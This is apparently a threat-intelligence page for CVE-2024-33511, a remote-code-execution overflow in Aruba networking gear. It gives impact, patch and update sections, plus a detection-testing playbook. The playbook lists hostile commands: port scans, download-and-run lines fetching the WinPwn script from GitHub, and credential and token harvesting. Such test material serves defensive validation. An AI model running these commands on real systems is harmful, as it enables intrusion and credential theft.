CVE-2024-33511
Overview
This vulnerability is a buffer overflow in the Automatic Reporting service of Hewlett Packard Enterprise Aruba networking products. The flaw arises due to improper bounds checking when processing specially crafted packets sent to the PAPI UDP port 8211. The affected components include Aruba Mobility Conductor, Mobility Controllers, WLAN Gateways, and SD-WAN Gateways managed via Aruba Central, where the Automatic Reporting service handles access point management protocol traffic.
Vulnerability Description
There is a buffer overflow vulnerability in the underlying Automatic Reporting service that could lead to unauthenticated remote code execution by sending specially crafted packets destined to the PAPI (Aruba's access point management protocol) UDP port (8211). Successful exploitation of this vulnerability results in the ability to execute arbitrary code as a privileged user on the underlying operating system.
Impact
An unauthenticated attacker with network access to UDP port 8211 can exploit this vulnerability to execute arbitrary code with privileged system rights. This enables full compromise of affected devices, including control over network traffic and device configuration. The vulnerability requires no user interaction and has a CVSS vector indicating network attack complexity is low and no privileges or authentication are required (AV:N/AC:L/PR:N/UI:N). Successful exploitation can lead to data breaches, network disruption, and lateral movement within enterprise environments.
Solution
Hewlett Packard Enterprise has released advisory ARUBA-PSA-2024-004 detailing patches for Aruba Mobility Conductor, Mobility Controllers, and WLAN/SD-WAN Gateways managed by Aruba Central. Administrators should apply the vendor-provided firmware updates immediately to mitigate the buffer overflow vulnerability. The advisory includes version-specific patch instructions and recommended upgrade paths. Refer to https://www.arubanetworks.com/assets/alert/ARUBA-PSA-2024-004.txt for comprehensive remediation guidance.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The identified buffer overflow vulnerability within the Automatic Reporting service of a specific access point management protocol poses a significant risk to network security. This flaw allows an attacker to send specially crafted packets to the UDP port designated for the protocol, which can lead to the execution of arbitrary code on the underlying operating system. The nature of buffer overflow vulnerabilities lies in their ability to overwrite memory locations, which can be exploited to manipulate the execution flow of a program. In this case, the lack of proper bounds checking on incoming data packets facilitates the overflow, enabling an attacker to inject malicious code that runs with the privileges of the service. This level of access can lead to severe consequences, including unauthorized data access, system compromise, and potential lateral movement within the network.
Exploitation of this vulnerability can occur through various attack vectors, primarily involving network-based attacks. An attacker could leverage this flaw by sending crafted packets to the vulnerable service without requiring authentication, which significantly lowers the barrier to entry for exploitation. Scenarios may include a malicious actor scanning for vulnerable devices within a network and subsequently launching an attack to gain control over the access points. Once the attacker executes arbitrary code, they can perform actions such as installing malware, exfiltrating sensitive data, or even creating backdoors for future access. The ability to execute code as a privileged user means that the attacker could manipulate critical system components, leading to widespread disruption or degradation of service.
The real-world impact of this vulnerability is profound, particularly for organizations relying on the affected access point management protocol for their network infrastructure. The potential for unauthorized remote code execution can lead to severe business risks, including data breaches, loss of customer trust, and regulatory penalties. Organizations may face operational downtime as they scramble to mitigate the threat and recover from an attack. Furthermore, the financial implications of such incidents can be substantial, encompassing costs related to incident response, legal liabilities, and reputational damage. Given the high CVSS score associated with this vulnerability, it is imperative for organizations to prioritize its remediation to safeguard their networks.
To effectively detect and mitigate this vulnerability, organizations should adopt a multi-layered security approach. Regular network scanning and vulnerability assessments can help identify affected systems, while intrusion detection systems (IDS) can monitor for unusual traffic patterns indicative of exploitation attempts. Implementing strict access controls and network segmentation can limit the potential impact of an attack, reducing the attack surface available to malicious actors. Additionally, organizations should ensure that their systems are kept up-to-date with the latest security patches and updates from the vendor, as these often contain critical fixes for known vulnerabilities. In parallel, developing an incident response plan that includes specific protocols for addressing exploitation attempts can further enhance an organization's resilience against such threats.
In conclusion, the buffer overflow vulnerability within the Automatic Reporting service represents a critical security concern that necessitates immediate attention from affected organizations. The potential for unauthenticated remote code execution poses significant risks, including unauthorized access and control over network infrastructure. By understanding the technical details of the vulnerability, recognizing potential attack vectors, assessing real-world impacts, and implementing robust detection and mitigation strategies, organizations can better protect themselves against this and similar threats in the ever-evolving landscape of cybersecurity.
CSURFACE threat intelligence has identified a marked escalation in detection activity related to CVE-2024-33511, with new telemetry indicating initial exploitation attempts targeting the vulnerable Automatic Reporting service via the PAPI UDP port. Although the overall EPSS score remains stable and no new exploit variants have been documented, the emergence of these early-stage sightings signals that threat actors are actively probing for opportunities to leverage this critical buffer overflow vulnerability. This development elevates the immediacy of the threat, as unauthenticated remote code execution on Aruba network infrastructure could enable adversaries to gain privileged control, potentially facilitating lateral movement or persistent footholds. Defenders should interpret this uptick in reconnaissance and exploitation attempts as an early warning of increasing adversary interest, underscoring the need for heightened vigilance despite the absence of widespread exploitation campaigns at this time. Consequently, the risk posture associated with CVE-2024-33511 has shifted from theoretical to actively targeted, warranting continuous monitoring of detection trends and threat actor behaviors.
Update 2 — July 19, 2026
CSURFACE threat intelligence has identified a marked escalation in detection activity related to CVE-2024-33511, indicating increased adversary reconnaissance and probing efforts targeting Aruba’s Automatic Reporting service. While no new exploit variants or publicly available proof-of-concept code have surfaced, the uptick in telemetry suggests that threat actors are intensifying their attempts to identify vulnerable instances within network environments. This heightened activity elevates the likelihood of successful exploitation attempts, particularly given the critical severity and unauthenticated remote code execution vector inherent to this vulnerability. Consequently, the threat landscape for CVE-2024-33511 has shifted toward a more active targeting phase, underscoring a growing operational interest that demands sustained monitoring. Although the EPSS score remains stable, the qualitative increase in adversary engagement signals an evolving risk posture that defenders must acknowledge as more imminent and tangible.
Affected Products
No CPE information available.
Exploits
No exploits found for this CVE.
Threat Feed
3 eventsSighting activity recorded
Sighting activity recorded
Sighting activity recorded
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns
No CAPEC pattern mapped to this CVE.
Red Team Playbook
33 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
docker build -t t1046 $PathToAtomicsFolder/T1046/src/
docker run --name t1046_container --rm -d -t t1046
docker exec t1046_container /scan.sh
for port in {1..65535}; do (2>/dev/null echo >/dev/tcp/#{host}/$port) && echo port $port is open ; done
nmap #{host_to_scan}
sudo nmap -sS #{network_range} -p #{port}
telnet #{host} #{port}
nc -nv #{host} #{port}
nmap -Pn -sV -p #{port_range} #{host}
python "#{filename}" -i #{host_ip}
$ipAddr = "#{ip_address}"
if ($ipAddr -like "*,*") {
$ip_list = $ipAddr -split ","
$ip_list = $ip_list.ForEach({ $_.Trim() })
Write-Host "[i] IP Address List: $ip_list"
$ports = #{port_list}
foreach ($ip in $ip_list) {
foreach ($port in $ports) {
Write-Host "[i] Establishing connection to: $ip : $port"
try {
$tcp = New-Object Net.Sockets.TcpClient
$tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
} catch {}
if ($tcp.Connected) {
$tcp.Close()
Write-Host "Port $port is open on $ip"
}
}
}
} elseif ($ipAddr -notlike "*,*") {
if ($ipAddr -eq "") {
# Assumes the "primary" interface is shown at the top
$interface = Get-NetIPInterface -AddressFamily IPv4 -ConnectionState Connected | Select-Object -ExpandProperty InterfaceAlias -First 1
Write-Host "[i] Using Interface $interface"
$ipAddr = Get-NetIPAddress -AddressFamily IPv4 -InterfaceAlias $interface | Select-Object -ExpandProperty IPAddress
}
Write-Host "[i] Base IP-Address for Subnet: $ipAddr"
$subnetSubstring = $ipAddr.Substring(0, $ipAddr.LastIndexOf('.') + 1)
# Always assumes /24 subnet
Write-Host "[i] Assuming /24 subnet. scanning $subnetSubstring'1' to $subnetSubstring'254'"
$ports = #{port_list}
$subnetIPs = 1..254 | ForEach-Object { "$subnetSubstring$_" }
foreach ($ip in $subnetIPs) {
foreach ($port in $ports) {
try {
$tcp = New-Object Net.Sockets.TcpClient
$tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
} catch {}
if ($tcp.Connected) {
$tcp.Close()
Write-Host "Port $port is open on $ip"
}
}
}
} else {
Write-Host "[Error] Invalid Inputs"
exit 1
}
Get-Service -Name "Remote Desktop Services", "Remote Desktop Configuration"
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
MS17-10 -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
bluekeep -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
fruit -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
spoolvulnscan -noninteractive -consoleoutput
Start-Process -FilePath "#{autoit_path}" -ArgumentList "#{script_path}"
echo "Creating %systemroot%\wpbbin.exe"
New-Item -ItemType File -Path "$env:SystemRoot\System32\wpbbin.exe"
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (2)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2024-33511 |
| arubanetworks.com |
GitHub CVE
|
https://www.arubanetworks.com/assets/alert/ARUBA-PSA-2024-004.txt |